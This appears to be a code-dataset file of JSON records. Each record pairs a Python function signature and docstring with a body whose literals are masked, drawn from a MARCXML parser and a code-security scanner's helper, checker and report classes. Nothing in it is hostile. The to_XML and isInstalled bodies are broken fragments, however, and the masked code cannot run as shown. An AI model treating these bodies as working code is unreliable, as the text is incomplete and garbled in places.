{"signature": "def get_pub_type(self):", "body": "INFO_CHAR_INDEX = <NUM_LIT:6><EOL>SECOND_INFO_CHAR_I = <NUM_LIT><EOL>if not len(self.leader) >= INFO_CHAR_INDEX + <NUM_LIT:1>:<EOL><INDENT>return PublicationType.monographic<EOL><DEDENT>if self.controlfields.get(\"<STR_LIT>\") == \"<STR_LIT>\":<EOL><INDENT>return PublicationType.continuing<EOL><DEDENT>info_char = self.leader[INFO_CHAR_INDEX]<EOL>multipart_n = self.get_subfields(\"<STR_LIT>\", \"<STR_LIT:n>\", exception=False)<EOL>multipart_p = self.get_subfields(\"<STR_LIT>\", \"<STR_LIT:p>\", exception=False)<EOL>if info_char in \"<STR_LIT>\":<EOL><INDENT>return PublicationType.monographic<EOL><DEDENT>elif info_char in \"<STR_LIT>\":<EOL><INDENT>return PublicationType.continuing<EOL><DEDENT>elif info_char == \"<STR_LIT:m>\" and (multipart_n or multipart_p):<EOL><INDENT>return PublicationType.multipart_monograph<EOL><DEDENT>elif info_char == \"<STR_LIT:m>\" and len(self.leader) >= SECOND_INFO_CHAR_I + <NUM_LIT:1>:<EOL><INDENT>if self.leader[SECOND_INFO_CHAR_I] == \"<STR_LIT:a>\":<EOL><INDENT>return PublicationType.multipart_monograph<EOL><DEDENT>elif self.leader[SECOND_INFO_CHAR_I] == \"<STR_LIT:U+0020>\":<EOL><INDENT>return PublicationType.single_unit<EOL><DEDENT><DEDENT>return PublicationType.monographic<EOL>", "docstring": "Returns:\n    PublicationType: :class:`.PublicationType` enum **value**.", "id": "f1163:c0:m27"}
{"signature": "def is_monographic(self):", "body": "return self.get_pub_type() == PublicationType.monographic<EOL>", "docstring": "Returns:\n    bool: True if the record is monographic.", "id": "f1163:c0:m28"}
{"signature": "def is_multi_mono(self):", "body": "return self.get_pub_type() == PublicationType.multipart_monograph<EOL>", "docstring": "Returns:\n    bool: True if the record is multi_mono.", "id": "f1163:c0:m29"}
{"signature": "def is_continuing(self):", "body": "return self.get_pub_type() == PublicationType.continuing<EOL>", "docstring": "Returns:\n    bool: True if the record is continuing.", "id": "f1163:c0:m30"}
{"signature": "def is_single_unit(self):", "body": "return self.get_pub_type() == PublicationType.single_unit<EOL>", "docstring": "Returns:\n    bool: True if the record is single unit.", "id": "f1163:c0:m31"}
{"signature": "def __getitem__(self, item):", "body": "if not isinstance(item, basestring):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if len(item) == <NUM_LIT:3>:<EOL><INDENT>val = self.controlfields.get(item, None)<EOL>if val:<EOL><INDENT>return val<EOL><DEDENT>return self.datafields.get(item, None)<EOL><DEDENT>if len(item) < <NUM_LIT:3>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if len(item) > <NUM_LIT:6>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>datafield = item[:<NUM_LIT:3>]<EOL>subfield = item[<NUM_LIT:3>]<EOL>i1 = None<EOL>i2 = None<EOL>if len(item) >= <NUM_LIT:5>:<EOL><INDENT>i1 = item[<NUM_LIT:4>]<EOL><DEDENT>if len(item) >= <NUM_LIT:6>:<EOL><INDENT>i2 = item[<NUM_LIT:5>]<EOL><DEDENT>return self.get_subfields(<EOL>datafield=datafield,<EOL>subfield=subfield,<EOL>i1=i1,<EOL>i2=i2,<EOL>exception=False<EOL>)<EOL>", "docstring": "Query inteface shortcut for :meth:`.MARCXMLParser.get_ctl_fields` and\n:meth:`.MARCXMLParser.get_subfields`.\n\nFirst three characters are considered as `datafield`, next character\nas `subfield` and optionaly, two others as `i1` / `i2` parameters.\n\nReturned value is str/None in case of ``len(item)`` == 3 (ctl_fields)\nor list (or blank list) in case of ``len(item) >= 4``.\n\nReturns:\n    list/str: See :meth:`.MARCXMLParser.get_subfields` for details, or\\\n        None in case that nothing was found.", "id": "f1163:c0:m32"}
{"signature": "def get(self, item, alt=None):", "body": "try:<EOL><INDENT>val = self[item]<EOL><DEDENT>except ValueError:<EOL><INDENT>return alt<EOL><DEDENT>return val if val is not None else alt<EOL>", "docstring": "Standard dict-like .get() method.\n\nArgs:\n    item (str): See :meth:`.__getitem__` for details.\n    alt (default None): Alternative value, if item is not found.\n\nReturns:\n    obj: `item` or `alt`, if item is not found.", "id": "f1163:c0:m33"}
{"signature": "def to_XML(self):", "body": "marcxml_template = \"\"\"<STR_LIT>\"\"\"<record><EOL>a><EOL>c><EOL>CONTROL_FIELDS<EOL>ELDS<EOL>rc><EOL>ta><EOL>><EOL>leader = self.leader if self.leader is not None else \"<STR_LIT>\"<EOL>if leader:  <EOL><INDENT>leader = \"<STR_LIT>\" + leader + \"<STR_LIT>\"<EOL><DEDENT>if self.oai_marc:<EOL><INDENT>leader = \"<STR_LIT>\"<EOL><DEDENT>xml_template = oai_template if self.oai_marc else marcxml_template<EOL>xml_output = Template(xml_template).substitute(<EOL>LEADER=leader.strip(),<EOL>CONTROL_FIELDS=self._serialize_ctl_fields().strip(),<EOL>DATA_FIELDS=self._serialize_data_fields().strip()<EOL>)<EOL>return xml_output<EOL>", "docstring": "Serialize object back to XML string.\n\nReturns:\n    str: String which should be same as original input, if everything\\\n         works as expected.", "id": "f1170:c0:m4"}
{"signature": "def __str__(self):", "body": "return self.to_XML()<EOL>", "docstring": "Alias for :meth:`to_XML`.", "id": "f1170:c0:m5"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return self._name<EOL>", "docstring": "Getter for 'name' property\n\nReturns:\n        string: Issue's name", "id": "f1181:c0:m1"}
{"signature": "@name.setter<EOL><INDENT>def name(self, value):<DEDENT>", "body": "self._name = value<EOL>", "docstring": "Setter for 'name' property\n\nArgs:\n        value (str): Issue's name", "id": "f1181:c0:m2"}
{"signature": "@property<EOL><INDENT>def file(self):<DEDENT>", "body": "return self._file<EOL>", "docstring": "Getter for 'file' property\n\nReturns:\n        string: Issue's file", "id": "f1181:c0:m3"}
{"signature": "@file.setter<EOL><INDENT>def file(self, value):<DEDENT>", "body": "self._file = value<EOL>", "docstring": "Setter for 'path' property\n\nArgs:\n        value (str): Issue's file", "id": "f1181:c0:m4"}
{"signature": "@property<EOL><INDENT>def severity(self):<DEDENT>", "body": "return self._severity<EOL>", "docstring": "Getter for 'severity' property\n\nReturns:\n        string: Issue's severity", "id": "f1181:c0:m5"}
{"signature": "@severity.setter<EOL><INDENT>def severity(self, value):<DEDENT>", "body": "self._severity = value<EOL>", "docstring": "Setter for 'path' property\n\nArgs:\n        value (str): Issue's severity", "id": "f1181:c0:m6"}
{"signature": "@property<EOL><INDENT>def potential(self):<DEDENT>", "body": "if self._potential is not None and self._potential:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Getter for 'potential' property\n\nReturns:\n        bool: potential is required?", "id": "f1181:c0:m7"}
{"signature": "@potential.setter<EOL><INDENT>def potential(self, value):<DEDENT>", "body": "if value:<EOL><INDENT>self._potential = True<EOL><DEDENT>else:<EOL><INDENT>self._potential = False<EOL><DEDENT>", "docstring": "Setter for 'potential' property\n\nArgs:\n        value (bool): True if a potential is required. False else", "id": "f1181:c0:m8"}
{"signature": "@property<EOL><INDENT>def details(self):<DEDENT>", "body": "return self._details<EOL>", "docstring": "Getter for 'details' property\n\nReturns:\n        string: Issue's details", "id": "f1181:c0:m9"}
{"signature": "@details.setter<EOL><INDENT>def details(self, value):<DEDENT>", "body": "self._details = value<EOL>", "docstring": "Setter for 'details' property\n\nArgs:\n        value (str): Issue's details", "id": "f1181:c0:m10"}
{"signature": "@property<EOL><INDENT>def checker(self):<DEDENT>", "body": "return self._checker_name<EOL>", "docstring": "Getter for 'checker' property\n\nReturns:\n        string: Issue's checker", "id": "f1181:c0:m11"}
{"signature": "@checker.setter<EOL><INDENT>def checker(self, value):<DEDENT>", "body": "self._checker_name = value<EOL>", "docstring": "Setter for 'checker' property\n\nArgs:\n        value (str): Issue's checker", "id": "f1181:c0:m12"}
{"signature": "def __todict__(self):", "body": "return {<EOL>\"<STR_LIT:name>\": self.name,<EOL>\"<STR_LIT:file>\": self.file,<EOL>\"<STR_LIT>\": self.details,<EOL>\"<STR_LIT>\": self.severity,<EOL>\"<STR_LIT>\": self.potential,<EOL>\"<STR_LIT>\": self.checker<EOL>}<EOL>", "docstring": "Returns a dictionary with the class representation\n\nReturns:\n        dict: class representarion", "id": "f1181:c0:m13"}
{"signature": "def __str__(self):", "body": "return json.dumps(self.__todict__())<EOL>", "docstring": "Return a JSON class representation\n\nReturns:\n\n        str: JSON class representation", "id": "f1181:c0:m14"}
{"signature": "def __unicode__(self):", "body": "return unicode(self.__str__())<EOL>", "docstring": "Return a JSON class representation (unicode)\n\nReturns:\n\n        unicode: JSON class representation", "id": "f1181:c0:m15"}
{"signature": "def __init__(self, command = None):", "body": "self._output = None<EOL>self._errors = None<EOL>self._command = None<EOL>self.command = command<EOL>", "docstring": "Class constructor. \n\nArgs:\n        command (str): Command to execute", "id": "f1184:c0:m0"}
{"signature": "@property<EOL><INDENT>def command(self):<DEDENT>", "body": "return self._command<EOL>", "docstring": "Getter for 'command' property\n\nReturns:\n        str: Command to execute", "id": "f1184:c0:m1"}
{"signature": "@command.setter<EOL><INDENT>def command(self, value):<DEDENT>", "body": "self._command = value<EOL>", "docstring": "Setter for 'command' property\n\nArgs:\n        value (str): Command to execute", "id": "f1184:c0:m2"}
{"signature": "@property<EOL><INDENT>def output(self):<DEDENT>", "body": "return self._output<EOL>", "docstring": "Getter for 'output' property\n\nReturns:\n        str: Stdout content", "id": "f1184:c0:m3"}
{"signature": "@output.setter<EOL><INDENT>def output(self, value):<DEDENT>", "body": "self._output = value<EOL>", "docstring": "Setter for 'output' property\n\nArgs:\n        value (str): Stdout content", "id": "f1184:c0:m4"}
{"signature": "@property<EOL><INDENT>def errors(self):<DEDENT>", "body": "return self._errors<EOL>", "docstring": "Getter for 'errors' property\n\nReturns:\n        str: Stderr content", "id": "f1184:c0:m5"}
{"signature": "@errors.setter<EOL><INDENT>def errors(self, value):<DEDENT>", "body": "self._errors = value<EOL>", "docstring": "Setter for 'errors' property\n\nArgs:\n        value (str): Stderr content", "id": "f1184:c0:m6"}
{"signature": "def getOSName(self):", "body": "_system = platform.system()<EOL>if _system in [self.__class__.OS_WINDOWS, self.__class__.OS_MAC, self.__class__.OS_LINUX]:<EOL><INDENT>if _system == self.__class__.OS_LINUX:<EOL><INDENT>_dist = platform.linux_distribution()[<NUM_LIT:0>]<EOL>if _dist.lower() == self.__class__.OS_UBUNTU.lower():<EOL><INDENT>return self.__class__.OS_UBUNTU<EOL><DEDENT>elif _dist.lower() == self.__class__.OS_DEBIAN.lower():<EOL><INDENT>return self.__class__.OS_DEBIAN<EOL><DEDENT>elif _dist.lower() == self.__class__.OS_CENTOS.lower():<EOL><INDENT>return self.__class__.OS_CENTOS<EOL><DEDENT>elif _dist.lower() == self.__class__.OS_REDHAT.lower():<EOL><INDENT>return self.__class__.OS_REDHAT<EOL><DEDENT>elif _dist.lower() == self.__class__.OS_KALI.lower():<EOL><INDENT>return self.__class__.OS_KALI<EOL><DEDENT><DEDENT>return _system<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get the OS name. If OS is linux, returns the Linux distribution name\n\nReturns:\n        str: OS name", "id": "f1184:c0:m7"}
{"signature": "def execute(self, shell = True):", "body": "process = Popen(self.command, stdout=PIPE, stderr=PIPE, shell=shell)<EOL>self.output, self.errors = process.communicate()<EOL>", "docstring": "Executes the command setted into class\n\nArgs:\n        shell (boolean): Set True if command is a shell command. Default: True", "id": "f1184:c0:m9"}
{"signature": "@staticmethod<EOL><INDENT>def install():<DEDENT>", "body": "cmd = CommandHelper()<EOL>cmd.install(\"<STR_LIT>\")<EOL>cmd = CommandHelper()<EOL>cmd.install(\"<STR_LIT>\")<EOL>cmd = CommandHelper()<EOL>cmd.command = \"<STR_LIT>\"<EOL>cmd.execute()<EOL>if cmd.errors:<EOL><INDENT>from termcolor import colored<EOL>print(colored(cmd.errors, \"<STR_LIT>\"))<EOL><DEDENT>else:<EOL><INDENT>print(cmd.output)<EOL><DEDENT>", "docstring": "Install all the dependences", "id": "f1185:c0:m6"}
{"signature": "def checker(func):", "body": "def execute(self, *args, **kwargs):<EOL><INDENT>try:<EOL><INDENT>print(\"<STR_LIT>\".format(n=self.__class__.NAME))<EOL>if hasattr(self, '<STR_LIT:test>'):<EOL><INDENT>if self.test():<EOL><INDENT>func(self, *args, **kwargs)<EOL>return self.issues<EOL><DEDENT>else:<EOL><INDENT>print(colored(\"<STR_LIT>\".format(c=self.__class__.__name__), \"<STR_LIT>\"))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>func(self, *args, **kwargs)<EOL>return self.issues<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>print(colored(\"<STR_LIT>\".format(n=self.__class__.NAME, e = e), \"<STR_LIT>\"))<EOL><DEDENT><DEDENT>return execute<EOL>", "docstring": "Decorator for method run. This method will be execute before the execution\nfrom the method with this decorator.", "id": "f1187:m0"}
{"signature": "def __init__(self):", "body": "self._dao = None<EOL>self._path = None<EOL>self._config = None<EOL>self._issues = []<EOL>", "docstring": "Creates a new class instance for Generic Checkers", "id": "f1187:c0:m0"}
{"signature": "@property<EOL><INDENT>def dao(self):<DEDENT>", "body": "return self._dao<EOL>", "docstring": "Getter for 'dao' property\n\nReturns:\n        atomshield.helpers.DAO: Instance of DAO class", "id": "f1187:c0:m1"}
{"signature": "@dao.setter<EOL><INDENT>def dao(self, value):<DEDENT>", "body": "self._dao = value<EOL>", "docstring": "Setter for 'dao' property\n\nArgs:\n        value (atomshield.helpers.DAO): Instance of DAO class", "id": "f1187:c0:m2"}
{"signature": "@property<EOL><INDENT>def path(self):<DEDENT>", "body": "return self._path<EOL>", "docstring": "Getter for 'path' property\n\nReturns:\n        str: Absolute path to scan", "id": "f1187:c0:m3"}
{"signature": "@path.setter<EOL><INDENT>def path(self, value):<DEDENT>", "body": "if not value.endswith('<STR_LIT:/>'):<EOL><INDENT>self._path = '<STR_LIT>'.format(v=value)<EOL><DEDENT>else:<EOL><INDENT>self._path = value<EOL><DEDENT>", "docstring": "Setter for 'path' property\n\nArgs:\n        value (str): Absolute path to scan", "id": "f1187:c0:m4"}
{"signature": "@property<EOL><INDENT>def project(self):<DEDENT>", "body": "return self._project<EOL>", "docstring": "Getter for 'project' property\n\nReturns:\n        str: Project's name", "id": "f1187:c0:m5"}
{"signature": "@project.setter<EOL><INDENT>def project(self, value):<DEDENT>", "body": "self._project = value<EOL>", "docstring": "Setter for 'project' property\n\nArgs:\n        value (str): Project's name", "id": "f1187:c0:m6"}
{"signature": "@property<EOL><INDENT>def issues(self):<DEDENT>", "body": "return self._issues<EOL>", "docstring": "Getter for 'issues' property\n\nReturns:\n        list<atomshields.helpers.Issue>: List of instances of Issue class", "id": "f1187:c0:m7"}
{"signature": "@issues.setter<EOL><INDENT>def issues(self, value):<DEDENT>", "body": "self._issues = value<EOL>", "docstring": "Setter for 'issues' property\n\nArgs:\n        value (list<atomshields.helpers.Issue>): List of Issue objects", "id": "f1187:c0:m8"}
{"signature": "@property<EOL><INDENT>def config(self):<DEDENT>", "body": "return self._config<EOL>", "docstring": "Getter for 'config' property\n\nReturns:\n        dict: Dictionary which contains the current values for this report config", "id": "f1187:c0:m9"}
{"signature": "@config.setter<EOL><INDENT>def config(self, value):<DEDENT>", "body": "self._config = self.parseConfig(value)<EOL>", "docstring": "Setter for 'config' property\n\nArgs:\n        value (dict): Dictionary which contains the current values for this report config", "id": "f1187:c0:m10"}
{"signature": "def run(self):", "body": "pass<EOL>", "docstring": "Abstract method. This method will be executed for subclass which not implemented his own method", "id": "f1187:c0:m12"}
{"signature": "def saveIssue(self, issue):", "body": "self.issues.append(issue)<EOL>", "docstring": "Stores an issue in 'issues' property\n\nArgs:\n        issue (atomshields.helpers.Issue): Issue instance", "id": "f1187:c0:m13"}
{"signature": "@classmethod<EOL><INDENT>def parseConfig(cls, value):<DEDENT>", "body": "if '<STR_LIT>' in value:<EOL><INDENT>value['<STR_LIT>'] = bool(value['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in value:<EOL><INDENT>value['<STR_LIT>'] = [n.strip() for n in ast.literal_eval(value['<STR_LIT>'])]<EOL><DEDENT>return value<EOL>", "docstring": "Parse the config values\n\nArgs:\n        value (dict): Dictionary which contains the checker config\n\nReturns:\n        dict: The checker config with parsed values", "id": "f1187:c0:m14"}
{"signature": "@staticmethod<EOL><INDENT>def isInstalled(value):<DEDENT>", "body": "function = \"\"\"<STR_LIT>\"\"\"bash -c '<STR_LIT>'", "docstring": "Check if a software is installed into machine.\n\nArgs:\n        value (str): Software's name\n\nReturns:\n        bool: True if the software is installed. False else", "id": "f1187:c0:m15"}
{"signature": "@checker<EOL><INDENT>def run(self):<DEDENT>", "body": "filename = \"<STR_LIT>\"<EOL>command = \"<STR_LIT>\".format(path = self.path, filename = filename)<EOL>cmd = CommandHelper(command)<EOL>cmd.execute()<EOL>files = cmd.output.split(\"<STR_LIT:\\n>\")<EOL>for f in files:<EOL><INDENT>if not f.endswith(filename):<EOL><INDENT>continue<EOL><DEDENT>rel_path = f.replace(self.path, \"<STR_LIT>\")<EOL>if rel_path.startswith(tuple(self.CONFIG['<STR_LIT>'])):<EOL><INDENT>continue<EOL><DEDENT>issue = Issue()<EOL>issue.name = \"<STR_LIT>\"<EOL>issue.potential = False<EOL>issue.severity = Issue.SEVERITY_LOW<EOL>issue.file = rel_path<EOL>self.saveIssue(issue)<EOL><DEDENT>", "docstring": "Finds .DS_Store files into path", "id": "f1189:c0:m1"}
{"signature": "def report(func):", "body": "def execute(self, *args, **kwargs):<EOL><INDENT>try:<EOL><INDENT>print(\"<STR_LIT>\".format(n=self.__class__.NAME))<EOL>if hasattr(self, '<STR_LIT:test>'):<EOL><INDENT>if self.test():<EOL><INDENT>return func(self, *args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>print(colored(\"<STR_LIT>\".format(c=self.__class__.__name__), \"<STR_LIT>\"))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return func(self, *args, **kwargs)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>print(colored(\"<STR_LIT>\".format(n=self.__class__.NAME, e = e), \"<STR_LIT>\"))<EOL><DEDENT><DEDENT>return execute<EOL>", "docstring": "Decorator for method run. This method will be execute before the execution\nfrom the method with this decorator.", "id": "f1190:m0"}
{"signature": "def __init__(self, issues = None):", "body": "self._issues = []<EOL>self._config = {}<EOL>self._project = None<EOL>self.issues = issues<EOL>", "docstring": "Class constructor.\n\nArgs:\n        issues (list): List of `Issue` instances", "id": "f1190:c0:m0"}
{"signature": "@property<EOL><INDENT>def issues(self):<DEDENT>", "body": "if self._issues is None:<EOL><INDENT>return []<EOL><DEDENT>return self._issues<EOL>", "docstring": "Getter for 'issues' property\n\nReturns:\n        list: List of `Issue` instances", "id": "f1190:c0:m1"}
{"signature": "@issues.setter<EOL><INDENT>def issues(self, value):<DEDENT>", "body": "self._issues = value<EOL>", "docstring": "Setter for 'issues' property\n\nArgs:\n        value (list): List of `Issue` instances", "id": "f1190:c0:m2"}
{"signature": "@property<EOL><INDENT>def config(self):<DEDENT>", "body": "return self._config<EOL>", "docstring": "Getter for 'config' property\n\nReturns:\n        dict: Dictionary which contains the current values for this report config", "id": "f1190:c0:m3"}
{"signature": "@config.setter<EOL><INDENT>def config(self, value):<DEDENT>", "body": "self._config = value<EOL>", "docstring": "Setter for 'config' property\n\nArgs:\n        value (dict): Dictionary which contains the current values for this report config", "id": "f1190:c0:m4"}
{"signature": "@property<EOL><INDENT>def project(self):<DEDENT>", "body": "return self._project<EOL>", "docstring": "Getter for 'project' property\n\nReturns:\n        str: Project's name", "id": "f1190:c0:m5"}
{"signature": "@project.setter<EOL><INDENT>def project(self, value):<DEDENT>", "body": "self._project = value<EOL>", "docstring": "Setter for 'project' property\n\nArgs:\n        value (str): Project's name", "id": "f1190:c0:m6"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(HttpReport, self).__init__(*args, **kwargs)<EOL>", "docstring": "Class constuctor. Must call parent constructor", "id": "f1193:c0:m0"}
{"signature": "@report<EOL><INDENT>def run(self):<DEDENT>", "body": "options = {}<EOL>if bool(self.config['<STR_LIT>']):<EOL><INDENT>options['<STR_LIT>'] = {\"<STR_LIT:http>\": self.config['<STR_LIT>'], \"<STR_LIT>\": self.config['<STR_LIT>']}<EOL><DEDENT>options[\"<STR_LIT:url>\"] = self.config['<STR_LIT:url>']<EOL>options[\"<STR_LIT:data>\"] = {\"<STR_LIT>\": json.dumps(map(lambda x: x.__todict__(), self.issues))}<EOL>if '<STR_LIT>' == self.config['<STR_LIT>'].lower():<EOL><INDENT>requests.get(**options)<EOL><DEDENT>else:<EOL><INDENT>requests.post(**options)<EOL><DEDENT>", "docstring": "Method executed dynamically by framework. This method will do a http request to\nendpoint setted into config file with the issues and other data.", "id": "f1193:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _debug(message, color=None, attrs=None):<DEDENT>", "body": "if attrs is None:<EOL><INDENT>attrs = []<EOL><DEDENT>if color is not None:<EOL><INDENT>print(colored(message, color, attrs=attrs))<EOL><DEDENT>else:<EOL><INDENT>if len(attrs) > <NUM_LIT:0>:<EOL><INDENT>print(colored(message, \"<STR_LIT>\", attrs=attrs))<EOL><DEDENT>else:<EOL><INDENT>print(message)<EOL><DEDENT><DEDENT>", "docstring": "Print a message if the class attribute 'verbose' is enabled\n\nArgs:\n        message (str): Message to print", "id": "f1194:c0:m1"}
{"signature": "@property<EOL><INDENT>def path(self):<DEDENT>", "body": "return self._path<EOL>", "docstring": "Getter for 'path' property\n\nReturns:\n        string: Absolute path to target directory", "id": "f1194:c0:m3"}
{"signature": "@path.setter<EOL><INDENT>def path(self, value):<DEDENT>", "body": "self._path = os.path.abspath(value)<EOL>", "docstring": "Setter for 'path' property\n\nArgs:\n        value (str): Path to target directory", "id": "f1194:c0:m4"}
{"signature": "@property<EOL><INDENT>def project(self):<DEDENT>", "body": "return self._project<EOL>", "docstring": "Getter for 'project' property\n\nReturns:\n        string: Projects's name", "id": "f1194:c0:m5"}
{"signature": "@project.setter<EOL><INDENT>def project(self, value):<DEDENT>", "body": "self._project = value<EOL>", "docstring": "Setter for 'project' property\n\nArgs:\n        value (str): Project's name", "id": "f1194:c0:m6"}
{"signature": "@property<EOL><INDENT>def configFile(self):<DEDENT>", "body": "return self._config_file<EOL>", "docstring": "Getter for 'configFile' property\n\nReturns:\n        str: Path to config file", "id": "f1194:c0:m7"}
{"signature": "@configFile.setter<EOL><INDENT>def configFile(self, value):<DEDENT>", "body": "self._config_file = os.path.abspath(value)<EOL>", "docstring": "Setter for 'configFile' property\n\nArgs:\n        value (str): Path to config file", "id": "f1194:c0:m8"}
{"signature": "@property<EOL><INDENT>def config(self):<DEDENT>", "body": "return self._config<EOL>", "docstring": "Getter for 'config' property\n\nReturns:\n        str: Path to config file", "id": "f1194:c0:m9"}
{"signature": "@config.setter<EOL><INDENT>def config(self, value):<DEDENT>", "body": "self._config = value<EOL>", "docstring": "Setter for 'config' property\n\nArgs:\n        value (dict): Dictionary which contains the config", "id": "f1194:c0:m10"}
{"signature": "@property<EOL><INDENT>def issues(self):<DEDENT>", "body": "return self._issues<EOL>", "docstring": "Getter for 'issues' property\n\nReturns:\n        list: List of Issue instances", "id": "f1194:c0:m11"}
{"signature": "@issues.setter<EOL><INDENT>def issues(self, value):<DEDENT>", "body": "self._issues = value<EOL>", "docstring": "Setter for 'issues' property\n\nArgs:\n        value (list): List of Issue instances", "id": "f1194:c0:m12"}
{"signature": "@staticmethod<EOL><INDENT>def setup():<DEDENT>", "body": "<EOL>if not os.path.isdir(AtomShieldsScanner.CHECKERS_DIR):<EOL><INDENT>os.makedirs(AtomShieldsScanner.CHECKERS_DIR)<EOL><DEDENT>if not os.path.isdir(AtomShieldsScanner.REPORTS_DIR):<EOL><INDENT>os.makedirs(AtomShieldsScanner.REPORTS_DIR)<EOL><DEDENT>for f in AtomShieldsScanner._getFiles(os.path.join(os.path.dirname(os.path.realpath(__file__)), \"<STR_LIT>\"), \"<STR_LIT>\"):<EOL><INDENT>AtomShieldsScanner.installChecker(f)<EOL><DEDENT>for f in AtomShieldsScanner._getFiles(os.path.join(os.path.dirname(os.path.realpath(__file__)), \"<STR_LIT>\"), \"<STR_LIT>\"):<EOL><INDENT>AtomShieldsScanner.installReport(f)<EOL><DEDENT>AtomShieldsScanner._executeMassiveMethod(path=AtomShieldsScanner.CHECKERS_DIR, method=\"<STR_LIT>\", args={})<EOL>config_dir = os.path.dirname(AtomShieldsScanner.CONFIG_PATH)<EOL>if not os.path.isdir(config_dir):<EOL><INDENT>os.makedirs(config_dir)<EOL><DEDENT>", "docstring": "Creates required directories and copy checkers and reports.", "id": "f1194:c0:m13"}
{"signature": "@staticmethod<EOL><INDENT>def _addConfig(instance, config, parent_section):<DEDENT>", "body": "try:<EOL><INDENT>section_name = \"<STR_LIT>\".format(p = parent_section, n=instance.NAME.lower())<EOL>config.add_section(section_name)<EOL>for k in list(instance.CONFIG.keys()):<EOL><INDENT>config.set(section_name, k, instance.CONFIG[k])<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>print(\"<STR_LIT>\" % e)<EOL><DEDENT>", "docstring": "Writes a section for a plugin.\n\nArgs:\n        instance (object): Class instance for plugin\n        config (object): Object (ConfigParser) which the current config\n        parent_section (str): Parent section for plugin. Usually 'checkers' or 'reports'", "id": "f1194:c0:m21"}
{"signature": "def getConfig(self, section = None):", "body": "data = {}<EOL>if section is None:<EOL><INDENT>for s in self.config.sections():<EOL><INDENT>if '<STR_LIT:/>' in s:<EOL><INDENT>parent, _s = s.split('<STR_LIT:/>')<EOL>data[parent][_s] = dict(self.config.items(s))<EOL><DEDENT>else:<EOL><INDENT>data[s] = dict(self.config.items(s))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>data = dict(self.config.items(section))<EOL><DEDENT>return data<EOL>", "docstring": "Returns a dictionary which contains the current config. If a section is setted,\nonly will returns the section config\n\nArgs:\n        section (str): (Optional) Section name.\n\nReturns:\n        dict: Representation of current config", "id": "f1194:c0:m25"}
{"signature": "@staticmethod<EOL><INDENT>def _getClassInstance(path, args=None):<DEDENT>", "body": "if not path.endswith(\"<STR_LIT>\"):<EOL><INDENT>return None<EOL><DEDENT>if args is None:<EOL><INDENT>args = {}<EOL><DEDENT>classname = AtomShieldsScanner._getClassName(path)<EOL>basename = os.path.basename(path).replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>sys.path.append(os.path.dirname(path))<EOL>try:<EOL><INDENT>mod = __import__(basename, globals(), locals(), [classname], -<NUM_LIT:1>)<EOL>class_ = getattr(mod, classname)<EOL>instance = class_(**args)<EOL><DEDENT>except Exception as e:<EOL><INDENT>AtomShieldsScanner._debug(\"<STR_LIT>\" % e)<EOL>return None<EOL><DEDENT>finally:<EOL><INDENT>sys.path.remove(os.path.dirname(path))<EOL><DEDENT>return instance<EOL>", "docstring": "Returns a class instance from a .py file.\n\nArgs:\n        path (str): Absolute path to .py file\n        args (dict): Arguments passed via class constructor\n\nReturns:\n        object: Class instance or None", "id": "f1194:c0:m30"}
{"signature": "@staticmethod<EOL><INDENT>def _executeMassiveMethod(path, method, args=None, classArgs = None):<DEDENT>", "body": "response = {}<EOL>if args is None:<EOL><INDENT>args = {}<EOL><DEDENT>if classArgs is None:<EOL><INDENT>classArgs = {}<EOL><DEDENT>sys.path.append(path)<EOL>exclude = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>for f in AtomShieldsScanner._getFiles(path, \"<STR_LIT>\", exclude=exclude):<EOL><INDENT>try:<EOL><INDENT>instance = AtomShieldsScanner._getClassInstance(path = f, args = classArgs)<EOL>if instance is not None:<EOL><INDENT>if callable(method):<EOL><INDENT>args[\"<STR_LIT>\"] = instance<EOL>output = method(**args)<EOL>response[instance.__class__.NAME] = output<EOL><DEDENT>else:<EOL><INDENT>if hasattr(instance, method):<EOL><INDENT>output = getattr(instance, method)(**args)<EOL>response[instance.__class__.NAME] = output<EOL><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT><DEDENT><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>AtomShieldsScanner._debug(\"<STR_LIT>\" % e)<EOL><DEDENT><DEDENT>sys.path.remove(path)<EOL>return response<EOL>", "docstring": "Execute an specific method for each class instance located in path\n\nArgs:\n        path (str): Absolute path which contains the .py files\n        method (str): Method to execute into class instance\n\nReturns:\n        dict: Dictionary which contains the response for every class instance.\n                  The dictionary keys are the value of 'NAME' class variable.", "id": "f1194:c0:m31"}
